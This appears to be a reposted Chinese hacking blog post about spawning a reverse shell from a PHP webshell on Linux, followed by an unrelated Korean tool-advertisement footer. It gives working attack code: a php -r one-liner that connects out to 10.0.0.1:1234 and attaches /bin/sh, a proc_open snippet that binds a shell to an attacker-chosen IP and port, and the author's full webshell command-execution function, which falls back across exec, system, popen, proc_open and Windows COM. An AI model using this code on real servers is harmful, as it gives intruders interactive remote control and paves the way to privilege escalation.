linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。 我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。 在我收集的反弹she
linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。
我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。
在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。
$sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:
反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。
不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:
具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。
另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~
function exec_comm($cmd, &$type = '', &$suc = TRUE) { set_error_handler("customError"); $re = false; if (empty($cmd)) return '执行结果'; if (empty($type)){ if(function_exists('exec')){ @exec($cmd, $re); $re = join("\n", $re); $type = 'exec'; }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){ $type = 'shell_exec'; }else if(function_exists('system')){ @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean(); $type = 'system'; }else if(function_exists('passthru')){ @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean(); $type = 'passthru'; }else if(is_resource($f = popen($cmd,"r"))){ while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f); $type = 'popen'; }else if(function_exists('proc_open')){ $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], "{$cmd}\r\n"); fwrite($pipes[0], "exit\r\n"); fclose($pipes[0]); // 读取输出 while (!feof($pipes[1])) { $re .= fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { $re .= fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process); } } }else if($type == 'wscript'){ $s= new COM('wscript.shell'); $exec = $s->exec($cmd); $stdout = $exec->StdOut(); $re = $stdout->ReadAll(); }else if($type == 'application'){ $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe'); $shell= new COM('Shell.Application'); $shell->ShellExecute($exe,$cmd); $re = "请查看{$cmd}中输入文件内容\n"; } if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;} return $re; }
原文地址:php webshell下直接反弹shell(不借助任何其他语言), 感谢原作者分享。

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

MinGW - Windows용 미니멀리스트 GNU
이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

SublimeText3 Linux 새 버전
SublimeText3 Linux 최신 버전

DVWA
DVWA(Damn Vulnerable Web App)는 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. 주요 목표는 보안 전문가가 법적 환경에서 자신의 기술과 도구를 테스트하고, 웹 개발자가 웹 응용 프로그램 보안 프로세스를 더 잘 이해할 수 있도록 돕고, 교사/학생이 교실 환경 웹 응용 프로그램에서 가르치고 배울 수 있도록 돕는 것입니다. 보안. DVWA의 목표는 다양한 난이도의 간단하고 간단한 인터페이스를 통해 가장 일반적인 웹 취약점 중 일부를 연습하는 것입니다. 이 소프트웨어는

Atom Editor Mac 버전 다운로드
가장 인기 있는 오픈 소스 편집기

안전한 시험 브라우저
안전한 시험 브라우저는 온라인 시험을 안전하게 치르기 위한 보안 브라우저 환경입니다. 이 소프트웨어는 모든 컴퓨터를 안전한 워크스테이션으로 바꿔줍니다. 이는 모든 유틸리티에 대한 액세스를 제어하고 학생들이 승인되지 않은 리소스를 사용하는 것을 방지합니다.
